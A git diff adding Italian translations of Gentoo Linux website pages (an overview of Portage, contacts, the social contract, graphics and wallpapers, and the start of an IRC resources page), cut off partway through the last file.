+una <b>meta</b>distribuzione.
+</p>
+
+<p>
+Ovviamente Gentoo è molto di più del solo software fornito. È una comunità
+costruita attorno ad una distribuzione che viene guidata da oltre 300
+sviluppatori e migliaia di utenti. Il progetto della distribuzione dà agli
+utenti i motivi per utilizzare Gentoo: documentazione, porting del software,
+garanzia di qualità, controlli di sicurezza, blindatura del sistema e molto
+altro.
+</p>
+
+<p>
+Per ponderare e dare una mano nello sviluppo globale di Gentoo, viene eletto
+su base annuale un <uri link="/proj/en/council/">consiglio di 7 membri</uri> il
+quale prende le decisioni riguardo problematiche globali, politiche e sviluppi
+nel progetto Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Cos'è Portage?</title>
+<body>
+
+<p>
+<b>Portage</b> è il cuore di Gentoo Linux e fornisce molte funzioni chiave. Come
+prima cosa, Portage è il sistema di <e>distribuzione del software</e> per Gentoo
+Linux. Per avere l'ultima versione del software, basterà digitare il comando:
+<c>emerge --sync</c>. Questo comando farà si che Portage aggiorni il vostro
+"Portage tree" locale attraverso Internet. Il vostro Portage tree locale
+contiene una collezione completa di scripts che possono essere usati da Portage
+per creare e installare le ultime versioni dei pacchetti di Gentoo. Attualmente
+abbiamo <uri link="http://packages.gentoo.org/categories">più di 10000
+pacchetti</uri> nel nostro Portage tree, con aggiornamenti e in più una <uri
+link="http://packages.gentoo.org">aggiunta quasi quotidiana</uri> di nuovi
+pacchetti.
+</p>
+
+<p>
+Portage è anche un sistema per <e>costruire e installare pacchetti</e>. Quando
+volete installare un pacchetto, dovete digitare <c>emerge pacchetto</c> e
+Portage automaticamente costruirà per voi una versione personalizzata del
+pacchetto con le vostre esatte specifiche, ottimizzato per il vostro hardware e
+assicurandosi che le caratteristiche opzionali che avete scelto siano abilitate
+(e non lo siano che quelle che non volete).
+</p>
+
+<p>
+Portage terrà inoltre <e>aggiornato</e> il vostro sistema. Digitando <c>emerge
+-uD world</c> -- un solo comando -- sarete sicuri che tutti i pacchetti che
+<e>voi</e> volete nel vostro sistema saranno aggiornati automaticamente.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
\ No newline at end of file
diff --git a/xml/htdocs/main/it/contact.xml b/xml/htdocs/main/it/contact.xml
new file mode 100644
index 00000000..9091e214
--- /dev/null
+++ b/xml/htdocs/main/it/contact.xml
@@ -0,0 +1,149 @@
+<?xml version="1.0" encoding="UTF-8"?>

+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">

+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/it/contact.xml,v 1.4 2010/08/25 21:40:32 scen Exp $ -->

+

+<mainpage lang="it">

+<title>Contatti di Gentoo Linux</title>

+

+<author title="Autore">

+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>

+</author>

+<author title="Traduttore">

+  <mail link="swit@lug-acros.org">Matteo Carli</mail>

+</author>

+

+<abstract>

+Come contattare Gentoo

+</abstract>

+

+<!-- The content of this document is licensed under the CC-BY-SA license -->

+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->

+<license/>

+

+<version>2</version>

+<date>2010-07-22</date>

+

+<chapter>

+<title>Chi devo contattare?</title>

+<section>

+<title>Contenuto</title>

+<body>

+

+<ul>

+  <li><uri link="#intro">Introduzione</uri></li>

+  <li><uri link="#pr">Pubbliche relazioni/eventi</uri></li>

+  <li><uri link="#www">Webmaster</uri></li>

+  <li><uri link="#trustees">La fondazione Gentoo</uri></li>

+</ul>

+

+</body>

+</section>

+

+<section id="intro">

+<title>Introduzione</title>

+<body>

+

+<p>

+"Gentoo" significa molte cose. E' una distribuzione Linux basata sulla comunità.

+E' una filosofia della gestione di pacchetti software. E' una organizzazione

+no-profit. Questo documento è realizzato per mettere in contatto il pubblico con

+il giusto gruppo interno a Gentoo, così che la corrispondenza possa essere

+gestita più velocemente.

+</p>

+

+<p>

+Per informazioni riguardanti eventi imminenti, interviste, domande generali o

+semplicemente sapere di più su Gentoo e sulle sue produzioni, il gruppo delle

+<uri link="#pr">Relazioni Pubbliche</uri> è il più adatto da contattare.

+</p>

+

+<impo>

+Il team per le Relazioni Pubbliche non fornisce alcun supporto agli utenti o

+alla risoluzione di problemi. Se si necessita di un aiuto per il proprio

+sistema Gentoo, si prega di visitare i <uri

+link="http://forums.gentoo.org">forum</uri>, <uri link="/main/it/irc.xml">canali

+IRC</uri> o altri <uri link="/main/it/support.xml">luoghi di supporto</uri>.

+</impo>

+

+<p>

+Per informazioni riguardanti questo sito web, o qualunche altro sito web di

+Gentoo ospitato sul dominio <c>gentoo.org</c>, i <uri

+link="#www">Webmasters</uri> di Gentoo sono le persone giuste da contattare.

+</p>

+

+<p>

+Per informazioni a proposito della Fondazione Gentoo, o qualsiasi altra cosa

+riguardante la proprietà intellettuale, marchi, copyrights, il <uri

+link="#trustees">consiglio di amministrazione</uri> della fondazione Gentoo è

+il più adatto da contattare.

+</p>

+

+<p>

+Se si sta cercando supporto per Gentoo Linux o qualsiasi altro prodotto o

+progetto di Gentoo visionare la pagina di <uri

+link="/main/it/support.xml">supporto</uri> per maggiori informazioni.

+</p>

+

+</body>

+</section>

+

+<section id="pr">

+<title>Relazioni pubbliche</title>

+<body>

+

+<p>

+Il progetto <uri link="/proj/en/pr/">Relazioni Pubbliche</uri> di Gentoo, e il

+suo sottoprogetto <uri link="/proj/en/pr/events/">Eventi</uri> sono responsabili

+della rappresentazione di Gentoo, così come il coordinamento della presenza di

+Gentoo ad esposizioni commerciali e mostre.

+</p>

+

+<p>

+Per cercare materiale per un articolo, qualcuno da intervistare o semplicemente

+maggiori informazioni a riguardo di Gentoo e di cosa essa offre, inviare un

+messaggio al gruppo RP. Per contattarlo, basta spedire un'e-mail a

+<mail>pr@gentoo.org</mail> e qualcuno del gruppo risponderà il prima possibile.

+</p>

+

+<impo>

+Il team per le Relazioni Pubbliche non fornisce alcun supporto agli utenti o

+alla risoluzione di problemi. Se si necessita di un aiuto per il proprio

+sistema Gentoo, si prega di visitare i <uri

+link="http://forums.gentoo.org">forum</uri> o i <uri

+link="/main/it/irc.xml">canali IRC</uri>.

+</impo>

+

+</body>

+</section>

+

+<section id="www">

+<title>Webmasters</title>

+<body>

+

+<p>

+Mantenere la presenza nel web di Gentoo è un compito scoraggiante. Gentoo ha

+un gruppo di webmaster che mantengono il sito chiaro e aggiornato. Per domande

+o commenti a riguardo di qualsiasi sito web Gentoo, spedire una email a

+<mail>www@gentoo.org</mail>.

+</p>

+

+</body>

+</section>

+

+<section id="trustees">

+<title>Consiglio di amministrazione della Fondazione Gentoo</title>

+<body>

+

+<p>

+<uri link="/foundation/en/">La fondazione Gentoo</uri> è una organizzazione

+no-profit che è stata formata per proteggere la proprietà intellettuale di

+Gentoo. Il consiglio di amministrazione rappresenta la persona giuridica di

+Gentoo all'interno degli Stati Uniti. Se la domanda è di natura legale, inviare

+una email a <mail>trustees@gentoo.org</mail> e un membro del consiglio

+risponderà non appena possibile.

+</p>

+

+</body>

+</section>

+</chapter>

+</mainpage>
\ No newline at end of file
diff --git a/xml/htdocs/main/it/contract.xml b/xml/htdocs/main/it/contract.xml
new file mode 100644
index 00000000..1642682b
--- /dev/null
+++ b/xml/htdocs/main/it/contract.xml
@@ -0,0 +1,142 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/it/contract.xml,v 1.7 2007/07/12 22:09:37 scen Exp $ -->
+
+<mainpage lang="it">
+<title>Contratto Sociale di Gentoo Linux</title>
+
+<author title="Autore">
+  Il Progetto Gentoo
+</author>
+<author title="Redazione">
+ <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Traduzione">
+ <mail link="amira@gentoo-italia.org">Amira D'Apote</mail>
+</author>
+
+<abstract>
+Questo documento contiene un impegno alla comunità Gentoo sulla libertà del
+software di Gentoo, l'apertura del processo di sviluppo di Gentoo e l'aiuto che
+Gentoo da alla comunità del free software.
+</abstract>
+
+<license/>
+
+<version>1.10</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Contratto sociale di Gentoo Linux</title>
+<section>
+<body>
+
+<p>
+Questo contratto sociale, è pensato per illustrare chiaramente lo sviluppo
+complessivo  delle linee di condotta e degli standard del gruppo di sviluppo
+Gentoo. Parti di questo documento derivano dal <uri
+link="http://www.debian.org/social_contract">Contratto Sociale Debian</uri>, e
+infatti è molto simile a questo fatta eccezione per il fatto che alcune parti
+sono state chiarite e accresciute, mentre altre ritenute ridondanti sono state
+rimosse. Ogni commento è bene accetto. Inviateli alla nostra mailing list <mail
+link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Cos'è Gentoo?</title>
+<body>
+
+<p>
+Gentoo è un insieme di conoscenza libera. La conoscenza in questo contesto può
+essere definita come documentazione e metadata riguardante concetti o domini
+relativi ai sistemi operativi e i loro componenti, così come il <uri
+link="http://www.fsf.org/philosophy/free-sw.html">free software</uri>
+contribuito dai vari sviluppatori al Progetto Gentoo.
+</p>
+
+<p>
+Gentoo, il sistema operativo, è derivato dal concetto base di conoscenza
+descritta sopra. Un sistema operativo Gentoo dovrebbe soddisfare le richieste.
+In altre parole, il sistema operativo dovrebbe potere costruirsi da zero, con
+gli strumenti e metadata accennati precedentemente. Se un prodotto associato a
+un progetto ufficiale Gentoo, non soddisfa questi requisiti, il prodotto non si
+qualifica come un sistema operativo Gentoo.
+</p>
+
+<p>
+Un elenco ufficiale dei progetti Gentoo si trova su <uri
+link="http://www.gentoo.org/proj/en/metastructure/projects.xml"> Gentoo
+Metastructure</uri>. Un progetto Gentoo non deve produrre un sistema operativo
+Gentoo per essere ufficialmente riconosciuto.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux è e sarà sempre Free Software</title>
+<body>
+
+<p>
+Noi rilasceremo i nostri contributi a Gentoo come free software, metadata o
+documentazione, sotto la GNU General Public License versione 2 (o successiva, a
+nostra discrezione) o sotto la Creative Commons - Attribution / Share Alike
+versione 2 (o successiva, a nostra discrezione). Noi abbiamo il diritto di
+incorporare in Gentoo, una volta fornito, ogni contributo esterno a Gentoo
+(nella forma di sorgenti, binari, metadata o documentazione distribuibili
+liberamente). Comunque, Gentoo non <e>dipenderà</e> mai da nessun software o
+metadata se questo non è conforme alla GNU General Public License, GNU Lesser
+General Public License, Creative Commons - Attribution/Share Alike o qualche
+altra licenza approvata dalla Open Source Initiative (<uri
+link="http://www.opensource.org/licenses/index.html">OSI</uri>).
+</p>
+
+<note>
+Stiamo considerando l'idea di estendere la clausola di cui sopra in modo che
+tutti i componenti essenziali di Gentoo debbano essere distribuiti con una
+licenza approvata dalla OSI <e>e</e> dalla Free Software Foundation (<uri
+link="http://www.gnu.org/">FSF</uri>.)
+</note>
+
+</body>
+</section>
+<section>
+<title>Noi restituiremo alla comunità del Free Software</title>
+<body>
+
+<p>
+Quando sarà possibile, noi stabiliremo relazioni e collaboreremo con gli autori
+di Free Software. Forniremo correzioni, miglioramenti, richieste degli utenti,
+ecc. agli autori originari del software incluso nel nostro sistema. Inoltre
+documenteremo chiaramente i <e>nostri</e> contributi a Gentoo e così anche per
+ogni miglioramento o cambiamento sui sorgenti esterni usati da Gentoo (come
+patch, "sed tweaks" o in altre forme). Noi ammettiamo che i nostri miglioramenti
+e le nostre patch sono molto più significative per la comunità del Free Software
+se sono spiegate e documentate chiaramente, visto che non tutti hanno il tempo o
+l'abilità di capire da soli i peculiari cambiamenti contenuti nelle patch o nei
+tweak.
+</p>
+
+</body>
+</section>
+<section>
+<title>Noi non nascondiamo i problemi</title>
+<body>
+
+<p>
+Noi faremo in modo che il nostro <uri link="http://bugs.gentoo.org/">bug
+report database</uri> sia sempre visibile a tutti; i resoconti che gli utenti
+aggiungeranno on-line saranno immediatamente visibili a tutti gli altri.
+</p>
+
+<p>
+Fatta eccezione quando riceviamo informazioni relative alla sicurezza o
+relazioni di sviluppatori, che richiedono di non essere pubblicate prima di una
+determinata scadenza.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
\ No newline at end of file
diff --git a/xml/htdocs/main/it/graphics.xml b/xml/htdocs/main/it/graphics.xml
new file mode 100644
index 00000000..64fcfd30
--- /dev/null
+++ b/xml/htdocs/main/it/graphics.xml
@@ -0,0 +1,442 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/it/graphics.xml,v 1.5 2008/07/08 20:17:11 scen Exp $ -->
+
+<mainpage lang="it">
+<title>Grafica di Gentoo Linux</title>
+
+<author title="Capo-Architetto precedente">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Redattore">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<abstract>
+Elenco di varie risorse grafiche utilizzabili secondo i termini delle Linee
+Guida per l'uso del Logo e il Nome di Gentoo
+</abstract>
+
+<license/>
+
+<version>2.13</version>
+<date>2008-07-04</date>
+
+<chapter>
+<title>Lavori artistici marcati Gentoo</title>
+<section>
+<title>Termini di utilizzo</title>
+<body>
+
+<p>
+Gli elementi grafici in questa pagina sono stati disegnati da vari autori che
+vi danno il permesso di usarli e modificarli secondo le vostre esigenze. L'uso
+del nome e del logo Gentoo sono governati dalle <uri
+link="/main/it/name-logo.xml">Condizioni per l'uso del nome e del logo
+Gentoo</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Contribuire</title>
+<body>
+
+<p>
+Se vuoi contribuire a Gentoo con un elemento grafico, si prega di usare prima
+i <uri link="http://forums.gentoo.org">Forum di Gentoo</uri> in modo che altri
+possano commentare ed aiutare a migliorare la qualità del disegno.
+Successivamente contattate <mail link="www@gentoo.org">il team Gentoo WWW</mail>
+e chiedete di includere il vostro elemento grafico.
+</p>
+
+<p>
+Il team può decidere di non includere la vostra opera se assomiglia troppo ad
+altri disegni già esistenti, se non è disponibile ad una risoluzione
+sufficiente, se non è adeguata allo spirito di Gentoo (per esempio se risulta
+offensiva) o per qualsiasi altra ragione.
+</p>
+
+<p>
+Includere un elemento grafico nella pagina può richiedere un pò di tempo, si
+prega di essere pazienti.
+</p>
+
+</body>
+</section>
+<section>
+<title>Vari elementi grafici di Gentoo</title>
+<body>
+
+<p>
+<uri link="/images/gentoo-logo.svg">Logo G in formato svg fornito da Lennart
+Andre Rolland</uri>
+</p>
+
+<p>
+<uri
+link="/images/gentoo-openbsd.png">Logo Gentoo/OpenBSD in formato png fornito dal
+Progetto Gentoo Artwork</uri>
+</p>
+
+</body>
+</section>
+<section>
+<title>Banner Gentoo Linux</title>
+<body>
+
+<p>
+<b>Fate sapere al mondo che state utilizzando Gentoo Linux.</b>
+</p>
+
+<p>
+Mettete un'immagine <e>Powered by Gentoo</e> nel vostro sito web potenziato da
+Gentoo o usate un <e>Banner Gentoo</e> nella vostra pagina web, blog, firma del
+forum o altro, includendo il collegamento a <uri
+link="http://www.gentoo.org">http://www.gentoo.org</uri> - aiutateci a
+diffondere il verbo! Dite agli altri quanto felici siete con Gentoo Linux.
+</p>
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/powered-show.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/powered-by-gentoo.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo2.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo3.png"/><br/>
+    <fig link="/images/powered-by-gentoo4.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/ralph_gentoo_badge.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge.png"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/powered-small.png">Piccolo</uri> -
+    <uri link="/images/powered.png">Medio</uri> -
+    <uri link="/images/powered-big.png">Grande</uri>
+  </ti>
+  <ti>
+    di Sascha Schwabbauer
+  </ti>
+  <ti>
+    di Ralph Jacobs
+  </ti>
+  <ti>
+    di Ryan Viljoen
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/gentoo-badge2.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge3.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/szbence-badge1.png"/><br/>
+    <fig link="/images/szbence-badge2.png"/><br/>
+    <fig link="/images/szbence-badge3.png"/><br/>
+    <fig link="/images/szbence-badge4.png"/><br/>
+    <fig link="/images/szbence-badge5.png"/><br/>
+    <fig link="/images/szbence-badge6.png"/>
+  </ti>
+  <ti><fig link="/images/hardened-badge.png"/></ti>
+</tr>
+<tr>
+  <ti>
+    by <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=36364">m@o</uri>
+  </ti>
+  <ti>
+    by <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=26433">wolven</uri>
+  </ti>
+  <ti>
+    by <uri link="http://forums.gentoo.org/viewtopic-t-7763-start-50.html">Szabó Bence</uri>
+  </ti>
+  <ti>by <uri link="http://www.liquidustech.com/">Matthew Summers</uri></ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Sfondi Gentoo Linux</title>
+<body>
+
+<p>
+<b>Marchiate il vostro desktop con uno splendido sfondo di Gentoo, e mostrate
+ai colleghi che state usando Gentoo Linux.</b>
+</p>
+
+<p>
+Usate uno di questi <e>Sfondi Gentoo</e> per abbellire il vostro desktop.
+Mostrate a tutti che utilizzate Gentoo Linux e lo state utilizzando con
+orgoglio.
+</p>
+
+<!--
+  Use 120x90 graphics for display purposes
+-->
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-cycle-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo640x480.jpg">640x680</uri> -
+    <uri link="/images/backgrounds/gentoo1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo1600x1200.jpg">1600x1200</uri><br/>
+    by <uri link="http://forums.gentoo.org/viewtopic.php?t=6745">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-cycle-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic.php?t=6868">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-light2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-light2-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic.php?t=7993">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic.php?t=7672">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-box-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-minimal-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-box-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1600x1200.png">1600x1200</uri>
+    <br/>
+    by Luca Martinetti
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-minimal-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic-t-365758.html">Brian
+    Wigginton</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_1-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_2-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_1-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-amd64_1-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-amd64_1-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    by Tedder Wayne
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_2-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-amd64_2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-amd64_2-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    by Tedder Wayne
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-glass-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-causticswp-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-glass-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-causticswp-800x600.jpg">800x600</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1024x768.jpg">1024x768</uri> -
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1280x1024.jpg">1280x1024</uri> -
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-water-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_1-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-water-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-800x600.jpg">800x600</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-1280x1024.jpg">1280x1024</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/cow-push-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+     <uri link="/images/backgrounds/gentoo-chojindsl_2-800x600.jpg">800x600</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-chojindsl_2-1280x1024.jpg">1280x1024</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/cow-push-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/cow-push-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/cow-push-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/cow-push-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/cow-push-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/cow-push2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/macosx-gentoo-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/cow-push2-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/cow-push2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/cow-push2-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/cow-push2-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/cow-push2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/macosx-gentoo-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/macosx-gentoo-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/macosx-gentoo-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/macosx-gentoo-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/macosx-gentoo-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Przemysław Pazik
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-abducted-120x90.png"/>
+  </ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-abducted-800x600.png">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1600x1200.png">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic-t-257123.html">Matteo 'Peach' Pescarin</uri>
+  </ti>
+  <ti></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</mainpage>
\ No newline at end of file
diff --git a/xml/htdocs/main/it/irc.xml b/xml/htdocs/main/it/irc.xml
new file mode 100644
index 00000000..38866b2c
--- /dev/null
+++ b/xml/htdocs/main/it/irc.xml
@@ -0,0 +1,568 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/it/irc.xml,v 1.15 2010/08/03 22:22:01 scen Exp $ -->
+
+<mainpage lang="it">
+<title>Risorse IRC Gentoo Linux</title>
+
+<author title="Redazione">
+  Colin Morey
+</author>
+<author title="Redazione">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Redazione">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Redazione">
+  <mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+<author title="Redazione">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+<author title="Redazione">
+  <mail link="musikc@gentoo.org">Christina Fullam</mail>
+</author>
+<author title="Traduzione">
+  <mail link="netcelli@gmail.com">Stefano Simoncelli</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Canali IRC ufficiali
+</abstract>
+
+<license/>
+
+<version>1.39</version>
+<date>2010-07-16</date>
+
+<chapter>
+<title>Internet Relay Chat</title>
+<section>
+<body>
+
+<p>
+<b>Tutti i canali IRC ufficiali possono essere trovati su <uri
